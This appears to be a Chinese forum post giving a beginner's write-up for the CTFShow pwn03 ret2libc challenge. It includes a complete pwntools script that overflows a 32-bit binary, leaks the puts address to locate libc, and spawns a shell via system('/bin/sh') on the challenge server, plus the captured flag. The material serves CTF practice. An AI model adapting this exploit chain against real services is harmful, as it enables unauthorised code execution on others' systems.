CTFSHOW pwn03 WrriteUp

打印 上一主题 下一主题

主题 692|帖子 692|积分 2076

本文来自一个初学CTF的小白,如有任何题目请大佬们指教!

题目来源

CTFShow pwn - pwn03 (ret2libc)
https://ctf.show/challenges
思路

1.下载题目放到checksec先查一下

2.IDA打开题目

Shift + F12查看字符串发现没有system和/bin/sh,但是有libc文件。
3.用gdb的cyclic查询一下溢出所须要的大小
cyclic用法:
1.先用cyclic 40生成一段字符串:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
2.gdb运行程序,输入字符串
3.cyclic -l 【错误地址】获得溢出所需数据量为13
4.写exp
点击查看代码
  1. from pwn import *
  2. from LibcSearcher import *
  3. io = remote('pwn.challenge.ctf.show',28270)
  4. elf = ELF('stack1')
  5. context.log_level = 'debug'
  6. puts_plt = elf.plt['puts']
  7. puts_got = elf.got['puts']
  8. start_addr = 0x080483C0
  9. payload1 = b'A'*13 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
  10. io.sendlineafter(b'32bits\n',payload1)
  11. io.recv()
  12. leak_addr = u32(io.recv(4))
  13. print(hex(leak_addr))
  14. libc_base_addr = leak_addr - 0x67360
  15. system_addr = 0x3cd10 + libc_base_addr
  16. bin_sh_addr = libc_base_addr + 0x17b8cf
  17. payload2 = b'B'*13 + p32(system_addr) + p32(1234) + p32(bin_sh_addr)
  18. io.sendlineafter(b'32bits\n',payload2)
  19. io.interactive()
复制代码
5.得到flag
ctfshow{fad8c27d-13de-4e58-b0bc-8ad69859693e}
本题留意

1.题目第一次输出有一个换行符,须要p.recv()接收掉这个换行符,第二次recv到的前四个字节就是泄暴露来的puts函数地址
2.本地运行时程序的libc使用的是本地/lib/i386-linux-gnu/libc.so.6这个位置的,而远程的libc是老版本的ubuntu的,所以你在打本地写的脚本与打远程的脚本两者偏移是不一样的

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

慢吞云雾缓吐愁

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表